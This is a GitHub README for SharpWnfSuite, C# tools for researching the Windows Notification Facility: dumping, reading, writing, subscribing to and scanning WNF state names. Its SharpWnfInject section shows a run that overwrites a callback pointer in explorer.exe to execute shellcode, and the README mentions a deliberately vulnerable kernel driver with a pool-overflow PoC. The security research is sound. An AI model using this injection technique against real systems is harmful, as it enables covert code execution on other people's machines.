Skip to content

C# Utilities for Windows Notification Facility

License

Notifications You must be signed in to change notification settings

daem0nc0re/SharpWnfSuite

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

SharpWnfSuite

This is the repository for Windows Notification Facility (WNF) tools. Currently, a C# port of the tools in wnfun developed by Alex Ionescu (@aionescu) and Gabrielle Viala (@pwissenlit) has been uploaded. When I develop additional tools for Windows Notification Facility, they will be uploaded here.

Table Of Contents

Usage

SharpWnfDump

Back to Top

Project

This tool dumps or manipulate information about WNF State Names. Equivalent to wnfdump.exe and WnfDump.py. I made some updates from the original tool (Exception Handling, Well-Known State Name and new WNF_DATA_SCOPE member).

To retrieve information of all Well-Known, Permanent and Persistent WNF State Names on your host, execute with -d (--dump) flag:

PS C:\Dev> .\SharpWnfDump.exe -d

| WNF State Name [WellKnown Lifetime]                             | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE                                      | S | W | N | RW | I |       0 |      12 |       0 |
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY                              | S | W | N | RW | I |       0 |       4 |       0 |
| WNF_PNPA_DEVNODES_CHANGED                                       | S | W | N | RO | U |       0 |       0 |      11 |

--snip--

If you want to retrieve Security Descripter information, set -s (--sid) flag:

PS C:\Dev> .\SharpWnfDump.exe -d -s

| WNF State Name [WellKnown Lifetime]                             | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE                                      | S | W | N | RW | I |       0 |      12 |       0 |

        D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)

| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY                              | S | W | N | RW | I |       0 |       4 |       0 |

        D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)

| WNF_PNPA_DEVNODES_CHANGED                                       | S | W | N | RO | U |       0 |       0 |      11 |

        D:(A;;CC;;;BU)(A;;CCDC;;;SY)

--snip--

If you want to retrieve buffer data, set -v (--value) or -r (--read) flag. These flags can be used with -s flag:

PS C:\Dev> .\SharpWnfDump.exe -d -v

| WNF State Name [WellKnown Lifetime]                             | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE                                      | S | W | N | RW | I |       0 |      12 |       0 |
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY                              | S | W | N | RW | I |       0 |       4 |       0 |

--snip--

| WNF_AUDC_RENDER                                                 | S | W | N | RO | U |    4096 |    4096 |       1 |

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
        00000010 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
        00000020 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........

--snip--

To retrieve information of all Temporary WNF State Names on your host, execute with -b (--brut) flag:

PS C:\Dev> .\SharpWnfDump.exe -b

| WNF State Name [System Scope]                                   | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| 0x41C64E6DA3AC3845                                              | S | T | N | RW | A |       8 |       ? |       1 |
| 0x41C64E6DA3AC4845                                              | S | T | N | RW | A |       8 |       ? |       1 |
| 0x41C64E6DA3AC6845                                              | S | T | N | RW | A |       8 |       ? |       1 |

--snip--

The -b (--brut) flag can be used with -v (--value) or -r (--read) flag, but cannot be used with -s (--sid) flag.

The meaning of each column in the table obtained from the results of --dump or --brut option is as follows:

Column Name Description
WNF State Name WNF State Names are outputted here
S Data scope for WNF State Name. The meanings of the alphabets displayed are as follows:

+ S : System Scope
+ s : Session Scope
+ U : User Scope
+ P : Process Scope
+ M : Machine Scope
+ p : Physical Machine Scope
L Lifetime for WNF State Name. The meanings of the alphabets displayed are as follows:

+ W : Well-Known
+ P : Permanent
+ V : Persistent (Volatile)
+ T : Temporary
P Displays if the WNF State Name is permanent:

+ Y : Yes
+ N : No
AC Access control for the WNF State Name:

+ RW : Readable and Writable
+ RO : Read-Only
+ WO : Write-Only
+ NA : Not Readable and Writable
N Displays subscriber existence:

+ A : Subscriber exists
+ I : No subscriber exists
+ U : Unknown
CurSize The number means current buffer size used for the WNF State Name.
MaxSize The number means maximum buffer size can be used for the WNF State Name.
Changes The number means how many times updated.

If you want to retrieve information about a specific WNF State Name, execute SharpWnfDump.exe with -i (--info) option as follows:

PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN

| WNF State Name                                                  | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN                                       | S | W | N | RW | A |       4 |       4 |       1 |

The -i (--info) option can be used with -v (--value), -r (--read), and -s (--sid) flag:

PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -s -v

| WNF State Name                                                  | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN                                       | S | W | N | RW | A |       4 |       4 |       1 |

        D:(A;;CC;;;WD)(A;;CCDC;;;AU)(A;;CCDC;;;AC)

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 01 00 00 00                                     | ....

To read data from a specific WNF State Name, use -r (--read) flag as follows:

PS C:\Dev> .\SharpWnfDump.exe -r WNF_SHEL_APPRESOLVER_SCAN

WNF_SHEL_APPRESOLVER_SCAN:

        00000000 | 11 00 00 00                                     | ....

To write data to a specific WNF State Name, use -w (--write) flag as follows (data for write should be provided with a file):

PS C:\Dev> "hi" | Out-File -Encoding ascii -FilePath C:\Dev\test.txt
PS C:\Dev> Get-Content -Path C:\Dev\test.txt
hi
PS C:\Dev> .\SharpWnfDump.exe -w WNF_SHEL_APPRESOLVER_SCAN C:\Dev\test.txt

[>] Trying to write data.
    [*] Target WNF Name : WNF_SHEL_APPRESOLVER_SCAN
    [*] Data Source     : C:\Dev\test.txt
[+] Data is written successfully.

PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -r

| WNF State Name                                                  | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN                                       | S | W | N | RW | A |       4 |       4 |       2 |

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 68 69 0D 0A                                     | hi..

SharpWnfNameDumper

Back to Top

Project

This tool dumps Well-Known State Name from DLL (typically perf_nt_c.dll). Equivalent to WnfNameDumper.py.

Typically, Well-Know State Names is contained in perf_nt_c.dll (it is in the Windows Performance Analyzer). To dump Well-Know State Names from DLL, execute SharpWnfNameDumper.exe with -d (--dump) option as follows:

PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll

[>] Output results in C# style.

public enum WELL_KNOWN_WNF_NAME : ulong
{
    WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
    WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

If you want to dump description for Well-Known State Names, set -v flag:

PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -v

[>] Output results in C# style.

public enum WELL_KNOWN_WNF_NAME : ulong
{
    // The Plan 9 Redirector was started and is ready to accept requests.
    WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
    // The Plan 9 Redirector got a request for an unknown WSL distribution and there is no user callback registered to query it.
    WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

To specify the output format, use -f (--format) option. SharpWnfNameDumper.exe supports C#, C (-f c) and Python (-f py) format (default format is C#):

PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -f py

[>] Output results in Python style.

g_WellKnownWnfNames = {
    "WNF_9P_REDIRECTOR_STARTED": 0x41C61E54A3BC1075,
    "WNF_9P_UNKNOWN_DISTRO_NAME": 0x41C61E54A3BC0875,

--snip--

To output the result to a file, use -o (--output) option to specify output file path:

PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -o result.txt

[>] Output results in C# style.


C:\dev>type result.txt
public enum WELL_KNOWN_WNF_NAME : ulong
{
    WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
    WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

To take diff from 2 DLLs, use -D (--diff) option:

PS C:\Dev> .\SharpWnfNameDumper.exe -D perf_nt_c_old.dll perf_nt_c_new.dll

[>] Output results in C# style.

################################################
#                   NEW KEYS                   #
################################################


public enum WELL_KNOWN_WNF_NAME : ulong
{
    WNF_SHEL_CHAT_ICON_BADGE = 0x0D83063EA3B8A035UL,
    WNF_SHEL_ENTERPRISE_START_PINS_POLICY_VALUE_CHANGED = 0x0D83063EA3B89475UL,
    WNF_SHEL_FILE_EXPLORER_PINNED_FOLDERS = 0x0D83063EA3B8ACF5UL,
    WNF_SHEL_MAC_AUTO_UPDATE_SUCCEEDED = 0x0D83063EA3B89875UL
}

SharpWnfClient

Back to Top

Project

This is a tool for a subscribe WNF State Name. Equivalent to wnfclient-rtl.exe and WnfClientServer.py.

For example, if you want to monitor the state of WNF_SHEL_APPLICATION_STARTED, execute SharpWnfClient.exe as follows:

PS C:\Dev> .\SharpWnfClient.exe WNF_SHEL_APPLICATION_STARTED

[>] Received data from server.
    [*] Timestamp : 4
    [*] Buffer Size : 92 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
        00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
        00000020 | 6F 00 77 00 73 00 74 00-65 00 72 00 6D 00 69 00 | o.w.s.t. e.r.m.i.
        00000030 | 6E 00 61 00 6C 00 5F 00-38 00 77 00 65 00 6B 00 | n.a.l._. 8.w.e.k.
        00000040 | 79 00 62 00 33 00 64 00-38 00 62 00 62 00 77 00 | y.b.3.d. 8.b.b.w.
        00000050 | 65 00 21 00 61 00 70 00-70 00 00 00             | e.!.a.p. p...

Then, if you start notepad application, should see following result:

[>] Received data from server.
    [*] Timestamp : 5
    [*] Buffer Size : 90 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
        00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
        00000020 | 6F 00 77 00 73 00 6E 00-6F 00 74 00 65 00 70 00 | o.w.s.n. o.t.e.p.
        00000030 | 61 00 64 00 5F 00 38 00-77 00 65 00 6B 00 79 00 | a.d._.8. w.e.k.y.
        00000040 | 62 00 33 00 64 00 38 00-62 00 62 00 77 00 65 00 | b.3.d.8. b.b.w.e.
        00000050 | 21 00 61 00 70 00 70 00-00 00                   | !.a.p.p. ..

SharpWnfServer

Back to Top

Project

This tool creates a temporary lifetime WNF State Name and sends some message to the subscriber. Equivalent to wnfserver.exe and WnfClientServer.py.

To start new WNF State Name server, simply execute SharpWnfServer.exe. We should enter an interactive shell as follows:

PS C:\Dev> .\SharpWnfServer.exe

[+] New WNF State Name is created successfully : 0x41C64E6DA3834945

Encoded State Name: 0x41C64E6DA3834945, Decoded State Name: 0x3F4931
    Version: 1, Lifetime: Temporary, Scope: Machine, Permanent: NO, Sequence Number: 0x7E9, Owner Tag: 0x0

Sending input data to WNF subscriber...

[INPUT]>

After executing SharpWnfServer.exe, execute SharpWnfClient.exe with WNF State Name provided with SharpWnfServer.exe from another terminal. You should receive "Hello, world!" as a message from SharpWnfServer.exe:

PS C:\Dev> .\SharpWnfClient.exe 0x41C64E6DA3834945

[>] Received data from server.
    [*] Timestamp : 1
    [*] Buffer Size : 13 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21          | Hello,.w orld!

To publish additional message to SharpWnfClient.exe, enter your message to the interactive shell of SharpWnfServer.exe:

[INPUT]> This is WNF test
Sending input data to WNF subscriber...

[INPUT]>

Then, you should see the message in the terminal for SharpWnfClient.exe as follows:

[>] Received data from server.
    [*] Timestamp : 2
    [*] Buffer Size : 16 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 54 68 69 73 20 69 73 20-57 4E 46 20 74 65 73 74 | This.is. WNF.test

SharpWnfScan

Back to Top

Project

This tool is based on modexp's wnfscan, and dumps WNF subscription information from process.

PS C:\Dev> .\SharpWnfScan.exe -h

SharpWnfScan - Tool for dumping WNF information from process.

Usage: SharpWnfScan.exe [Options]

        -h, --help        : Displays this help message.
        -p, --pid         : Specifies the target PID.
        -P, --processname : Specifies the target process name.
        -n, --name        : Specifies a wnf state name for filtering.
        -a, --all         : Flag to dump information from all process.
        -l, --list        : Flag to list WNF State Name on this system.
        -d, --debug       : Flag to enable SeDebugPrivilege. Administrative privilege is required.
        -v, --verbose     : Flag to get verbose information.

To dump a specific process, set -p option as follows:

PS C:\Dev> .\SharpWnfScan.exe -p 5800

Process ID      : 5800
Image File Name : C:\Windows\explorer.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660

    WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
    StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

    WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
    StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)

    WNF_NAME_SUBSCRIPTION @ 0x0000000005099950
    StateName : 0x41960A2EA3BC1835 (WNF_CDP_CDPUSERSVC_READY)

--snip--

If you want to get WNF_USER_SUBSCRIPTION information, set -v flag as follows:

PS C:\Dev> .\SharpWnfScan.exe -p 5800 -v

Process ID      : 5800
Image File Name : C:\Windows\explorer.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660

    WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
    StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

        WNF_USER_SUBSCRIPTION @ 0x0000000001206A40
        Callback @ 0x00007FFE88478470 (ntdll!RtlNotifyFeatureUsage+0x1C0)
        Context  @ 0x00007FFE886F0B20 (ntdll!NlsAnsiCodePage+0x2390)

    WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
    StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)

        WNF_USER_SUBSCRIPTION @ 0x0000000001207FD0
        Callback @ 0x00007FF7073027C0 (explorer)
        Context  @ 0x0000000001208CC0 (N/A)

--snip--

You can specifies target processes by name with -P option:

PS C:\Dev> .\SharpWnfScan.exe -P notepad

Process ID      : 8720
Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

    WNF_NAME_SUBSCRIPTION @ 0x000001DE2B02D640
    StateName : 0x41C61629A3BC2835 (WNF_DX_MONITOR_CHANGE_NOTIFICATION)

    WNF_NAME_SUBSCRIPTION @ 0x000001DE2B03E040
    StateName : 0x41950223A3BC1035 (WNF_NLS_USER_UILANG_CHANGED)

--snip--

To filter with state name, set hex or well know wnf name string to -n option as follows:

PS C:\Dev> .\SharpWnfScan.exe -P notepad -n WNF_RPCF_FWMAN_RUNNING

Process ID      : 8720
Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

    WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
    StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)


PS C:\Dev> .\SharpWnfScan.exe -P notepad -n 0x07851E3FA3BC0875

Process ID      : 8720
Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

    WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
    StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)

To dump all processes at a time, use -a option:

PS C:\Dev> .\SharpWnfScan.exe -a

Process ID      : 1180
Image File Name : C:\Windows\System32\svchost.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000002101A806560

    WNF_NAME_SUBSCRIPTION @ 0x000002101A830120
    StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C1C0
    StateName : 0x41C64E6DA3B0E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A833C50
    StateName : 0x41C64E6DA3BC6145 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A846A50
    StateName : 0x41C64E6DA3BD0945 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CA00
    StateName : 0x41C64E6DA3BB8045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A806A00
    StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C4C0
    StateName : 0x41C64E6DA3B1E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C700
    StateName : 0x41C64E6DA3A0F945 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A830EE0
    StateName : 0x4195003AA3BC0875 (WNF_WNS_CONNECTIVITY_STATUS)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C880
    StateName : 0x41C6072FA3BC3875 (WNF_BI_APPLICATION_SERVICING_START_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CC40
    StateName : 0x41C6072FA3BC1875 (WNF_BI_USER_LOGOFF_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A835E90
    StateName : 0x41C6072FA3BC1075 (WNF_BI_USER_LOGON_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CD00
    StateName : 0x41C6072FA3BC2875 (WNF_BI_SESSION_DISCONNECT_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CAC0
    StateName : 0x41C6072FA3BC2075 (WNF_BI_SESSION_CONNECT_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C940
    StateName : 0x41840B3EA3BC2075 (WNF_SEB_NETWORK_STATE_CHANGES)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A853920
    StateName : 0x41C6072FA3BC3075 (WNF_BI_APPLICATION_UNINSTALL_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A836040
    StateName : 0x41C6072FA3BC4875 (WNF_BI_LOCK_SCREEN_UPDATE_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C580
    StateName : 0x41C6072FA3BC4075 (WNF_BI_APPLICATION_SERVICING_STOP_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A833B80
    StateName : 0x41C6072FA3BC6075 (WNF_BI_QUIET_MODE_UPDATE_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C400
    StateName : 0x41C6072FA3BC5075 (WNF_BI_EVENT_DELETION)

Process ID      : 2952
Image File Name : C:\Windows\System32\svchost.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000023DD3A065C0

    WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8B80
    StateName : 0x41C64E6DA3B1E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8C40
    StateName : 0x41C64E6DA3BC6145 (N/A)

--snip--

To enable SeDebugPrivilege, set -d flag as follows. This option requires administrative privilege:

PS C:\Dev> .\SharpWnfScan.exe -d -P winlogon

[+] SeDebugPrivilege is enabled successfully.

Process ID      : 680
Image File Name : C:\Windows\System32\winlogon.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x00000265F4E05F80

    WNF_NAME_SUBSCRIPTION @ 0x00000265F4E48AE0
    StateName : 0x41C64E6DA3BC6145 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x00000265F4E27AD0
    StateName : 0x41C61629A3BC1035 (WNF_DX_MODE_CHANGE_NOTIFICATION)

--snip--

To list WNF State Names used in the target system, set -l flag as follows:

PS C:\Dev> .\SharpWnfScan.exe -l

[>] Trying to list WNF State Names used in this system. Wait a moment.

[1304 WNF State Names]

[*] 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
[*] 0x41C64E6DA3B0E045 (N/A)
[*] 0x41C64E6DA3BC6145 (N/A)
[*] 0x41C64E6DA3BD0945 (N/A)
[*] 0x41C64E6DA3BB8045 (N/A)
[*] 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
[*] 0x41C64E6DA3B1E045 (N/A)

--snip--

[16 Access Denied Processes]

[*] svchost (PID : 2352)
[*] svchost (PID : 4952)
[*] MsMpEng (PID : 3132)
    
--snip--

[*] Done.

SharpWnfInject

Back to Top

Project

This tool is to investigate how attackers can abuse WNF for code injection technique:

PS C:\Dev> .\SharpWnfInject.exe -h

SharpWnfInject - Tool to investigate WNF code injection technique.

Usage: SharpWnfInject.exe [Options]

        -h, --help  : Displays this help message.
        -n, --name  : Specifies WNF State Name to inject. Hex format or Well-known name format is accepted.
        -p, --pid   : Specifies PID to inject.
        -i, --input : Specifies the file path to shellcode.
        -d, --debug : Flag to enable SeDebugPrivilege. Requires administrative privilege.

[!] -n option is required.

This tool overwrite callback function pointer in WNF_USER_SUBSCRIPTION for a specific WNF State Name. The code injection technique does not work for all WNF State Name. For example, this technique is known to be available for WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED used by explorer.exe in Windows 11 23H2. To test this technique, execute this tool as follows:

PS C:\Dev> .\SharpWnfInject.exe -p 5800 -n WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED -i .\notepad_arm64.bin

[*] Target WNF State Name is 0x0D83063EA3BE10F5 (WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED).
[+] Got a handle from the target Process
    [*] Process Name    : explorer.exe
    [*] Process ID      : 5800
    [*] Image File Name : C:\Windows\explorer.exe
    [*] Architecture    : ARM64
[+] Pointer for WNF_SUBSCRIPTION_TABLE is at 0x00007FFE886F4E20.
[+] WNF_SUBSCRIPTION_TABLE is at 0x0000000001206660.
[*] WNF_NAME_SUBSCRIPTION is at 0x0000000001273540.
[+] Got 1 WNF_USER_SUBSCRIPTION.
[*] Target callback pointer is at 0x00000000051C2250.
[*] Callback function is at 0x00007FFE54FD4D20 (twinui!DllGetClassObject+0x11AFF0).
[+] Shellcode buffer is at 0x0000000003270000.
[+] 344 bytes shellcode is written successfully.
[+] Callback pointer is overwritten successfully.
[>] Triggering shellcode.
[+] WNF State Data is updated successfully. Shellcode might be executed.
[+] Callback pointer is reverted successfully.
[*] Done.

If you want to enable SeDebugPrivilege, set -d flag and execute with administrative privilege. Sample shellcodes to execute notepad are located at Shellcode directory.

KernelPrimitive

Back to Top

Projects in this directory are to demonstrate WNF primitive for kernel exploitation. You can read the detailed information in Alex Plaskett's talk and blogs (Part 1, Part 2, Slide).

Reliability of the PoC is not 100%. I defined kernel offset for all versions of Windows 10 x64, but only tested in Windows 10 Version 1903 x64.

Project Description
PoolVulnDrv This is a vulnerable kernel driver to test WNF kernel primitive.
WnfPoolOverflow This is a PoC to exploit PoolVulnDrv.

WnfPrimitive.png

WnfCallbackPayload

This directory contains documents and sample codes to build your own WNF callback shellcode. See README.md.

Reference

Back to Top

Acknowledgments

Back to Top

Thanks for your research:

Thanks for your help:

About

C# Utilities for Windows Notification Facility

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages